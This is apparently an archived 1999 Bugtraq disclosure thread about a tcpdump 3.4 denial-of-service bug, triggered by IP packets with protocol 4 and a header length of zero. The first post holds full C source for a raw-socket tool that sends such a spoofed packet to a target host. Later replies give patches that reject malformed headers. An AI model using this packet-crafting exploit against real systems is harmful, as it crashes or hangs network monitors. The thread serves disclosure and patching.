ignore security and it'll go away

tcpdump.3.4.dos.txt

tcpdump.3.4.dos.txt
Posted Aug 17, 1999

tcpdump v3.4 is vulnerable to a remote denial of service attack when hit with IP packets with Protocol-4 and ihl=0. Exploit description and patch included.

tags | exploit, remote, denial of service, protocol
MD5 | 0cd1400c47b373f98e79991e3b9477ec

tcpdump.3.4.dos.txt

Change Mirror Download
Date: Wed, 1 Jan 1986 16:30:10 +0100
From: badi <bladi@EUSKALNET.NET>
To: BUGTRAQ@netspace.org
Subject: tcpdump 3.4 bug?

/*
tcpdump bug 3.4a? by BLADI (bladi@euskalnet.net);

On receiving an ip packet with Protocol-4 and ihl=0, tcpdump enters
an infinite loop within the procedure ip_print() from file print_ip.c
This happens because the header length (ihl) equals '0' and tcpdump
tries to print the packet

I've tried the bug in diferent OS's


Linux:

SuSE 6.x:
K2.0.36 tcpdump consumes all the system memory
K2.2.5 in less than a minute and hangs the system
K2.2.9 or sometimes gives an error from the bus
K2.3.2
K2.3.5

RedHat 5.2: K2.?.? tcpdump makes a segmentation fault to happen
6.0: K2.2.9 and it sometimes does a coredump

Debian K2.2.? tcpdump makes a segmentation fault to happen
and does a coredump

Freebsd Segmentation fault & Coredump Thanks to: wb^3,Cagliostr
Solaris Segmentation fault & Coredump Thanks to: acpizer
Aix ?
Hp-UX ?
-------------------------------------------------------------
This tests have been carried out in loopback mode, given that protocol 4
won't get through the routers. It would be interesting to perform the attack
remotely in an intranet.
But i do not have access to one.
------------------------------------------------------------------------------
Thanks to:
the channels:
#ayuda_irc,#dune,#linux,#networking,#nova y #seguridad_informática.
>from irc.irc-hispano.org
Special thanks go to:
Topo[lb],^Goku^,Yogurcito,Pixie,Void,S|r_|ce,JiJ79,Unscared etc...

Thanks to Piotr Wilkin for the rip base code ;)

And big thanks go to TeMpEsT for this translation.

------
I've found two ways of solving the problem
Solution 1
execute: tcpdump -s 24

Solution 2 Apply this little patch.

diff -r -p /tcpdump-3.4a6/tcpdump-3.4a6/print-ip.c /tcpdump-3.4a7/tcpdump-3.4a6/print-ip.c
*** /tcpdump-3.4a6/tcpdump-3.4a6/print-ip.c Wed May 28 21:51:45 1997
--- /tcpdump-3.4a7/tcpdump-3.4a6/print-ip.c Tue Oct 27 05:35:27 1998
*************** ip_print(register const u_char *bp, regi
*** 440,446 ****
(void)printf("%s > %s: ",
ipaddr_string(&ip->ip_src),
ipaddr_string(&ip->ip_dst));
- ip_print(cp, len);
if (! vflag) {
printf(" (ipip)");
return;
--- 440,445 ----

*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <errno.h>
#include <netdb.h>
struct icmp_hdr
{
struct iphdr iph;
char text[15];
}
encaps;
int in_cksum(int *ptr, int nbytes)
{
long sum;
u_short oddbyte, answer;
sum = 0;
while (nbytes > 1)
{
sum += *ptr++;
nbytes -= 2;
}
if (nbytes == 1)
{
oddbyte = 0;
*((u_char *)&oddbyte) = *(u_char *)ptr;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
struct sockaddr_in sock_open(int socket, char *address,int prt)
{
struct hostent *host;
struct sockaddr_in sin;

if ((host = gethostbyname(address)) == NULL)
{
perror("Unable to get host name");
exit(-1);
}
bzero((char *)&sin, sizeof(sin));

sin.sin_family = PF_INET;
sin.sin_port = htons(prt);
bcopy(host->h_addr, (char *)&sin.sin_addr, host->h_length);
return(sin);
}

void main(int argc, char **argv)
{
int sock, i,k;
int on = 1;
struct sockaddr_in addrs;
printf("\t\tTCPDumper Ver 0.2 \n\t\t\tBy Bladi\n");
if (argc < 3)
{
printf("Uso: %s <ip_spoof> <dest_ip> \n", argv[0]);
exit(-1);
}
encaps.text[0]=66; encaps.text[1]=76; encaps.text[2]=65; encaps.text[3]=68;
encaps.text[4]=73; encaps.text[5]=32; encaps.text[6]=84; encaps.text[7]=90;
encaps.text[8]=32; encaps.text[9]=84; encaps.text[10]=79;encaps.text[11]=32;
encaps.text[12]=84;encaps.text[13]=79;encaps.text[14]=80;encaps.text[15]=79;
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
{
perror("Can't set IP_HDRINCL option on socket");
}
if (sock < 0)
{
exit(-1);
}
fflush(stdout);
addrs = sock_open(sock, argv[2], random() % 255);
encaps.iph.version = 0;
encaps.iph.ihl = 0;
encaps.iph.frag_off = htons(0);
encaps.iph.id = htons(0x001);
encaps.iph.protocol = 4;
encaps.iph.ttl = 146;
encaps.iph.tot_len = 6574;
encaps.iph.daddr = addrs.sin_addr.s_addr;
encaps.iph.saddr = inet_addr(argv[1]);
printf ("\t DuMpInG %s ---> %s \n",argv[1],argv[2]);
if (sendto(sock, &encaps, 1204, 0, (struct sockaddr *)&addrs, sizeof(struct sockaddr)) == -1)
{
if (errno != ENOBUFS) printf("Error :(\n");
}
fflush(stdout);
close(sock);
}

--------------------------------------------------------------------------------

Date: Thu, 17 Jun 1999 12:19:06 +0100
From: acpizer <acpizer@MACH.UNSEEN.ORG>
To: BUGTRAQ@netspace.org
Subject: Re: tcpdump 3.4 bug?

The given source for killing tcpdump will only work on local networks
since routers drop the bad packet it creates, a more constuctive patch for
tcpdump is listed below.

-- snip --
diff -r -p print-ip.orig.c print-ip.c
*** print-ip.orig.c Thu Jun 17 11:24:17 1999
--- print-ip.c Thu Jun 17 14:07:50 1999
*************** ip_print(register const u_char *bp, regi
*** 374,379 ****
--- 374,384 ----
(void)printf("truncated-ip %d", length);
return;
}
+
+ if (ip->ip_hl == 0) {
+ (void)printf("bad ip packet - header length = 0\n");
+ return;
+ }
hlen = ip->ip_hl * 4;

len = ntohs(ip->ip_len);
-- snip --

Cheers.

-------------------------------------------------------------------------------
"Probably you've only really grown up, when you can bear not being understood."

Marian Gold /Alphaville

--------------------------------------------------------------------------------

Date: Fri, 18 Jun 1999 13:16:33 +0300
From: Markus Peuhkuri <puhuri@TCT.HUT.FI>
To: BUGTRAQ@netspace.org
Subject: Re: tcpdump 3.4 bug?

acpizer <acpizer@MACH.UNSEEN.ORG> writes:

> since routers drop the bad packet it creates, a more constuctive patch for
...
> + if (ip->ip_hl == 0) {

Actualy, as the minimum length is 5*4 bytes that could be as
well "if (ip->ip_hl < 5) {". If it is shorter it is bad anyway.

--
Markus Peuhkuri ! Markus.Peuhkuri@hut.fi ! http://www.iki.fi/puhuri/

--------------------------------------------------------------------------------

Date: Sun, 20 Jun 1999 09:17:32 +0100
From: acpizer <acpizer@MACH.UNSEEN.ORG>
To: BUGTRAQ@netspace.org
Subject: Re: tcpdump 3.4 bug? (final)

Hi again,

Thanks goes to Markus Peuhkuri for pointing out that the minimum length
of an IP packet is actually 20 bytes, (I'm useless w/o a copy of TCP/IP
Illustrated in front of me), anyway, here is a final patch, also don't
forget to run tcpdump with the -v parameter if you want to see the source
address of the offensive packet.

Are the guys at LBL reading bugtraq? (tcpdump on ftp.ee.lbl.gov isn't
updated yet...)

maybe they don't think it's a bug since routers drop the packet anyway,
how aobut attacking machines which run tcpdump locally on the LAN?

*** print-ip.orig.c Thu Jun 17 11:24:17 1999
--- print-ip.c Sun Jun 20 11:04:20 1999
*************** ip_print(register const u_char *bp, regi
*** 440,445 ****
--- 440,451 ----
(void)printf("%s > %s: ",
ipaddr_string(&ip->ip_src),
ipaddr_string(&ip->ip_dst));
+
+ if (ip->ip_hl < 5) {
+ (void)printf("Bad ip-in-ip encapsulation (hl < 5) Possible attack!");
+ return;
+ }
+
ip_print(cp, len);
if (! vflag) {
printf(" (ipip)");

Cheers.

-------------------------------------------------------------------------------
"Probably you've only really grown up, when you can bear not being understood."

Marian Gold /Alphaville

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close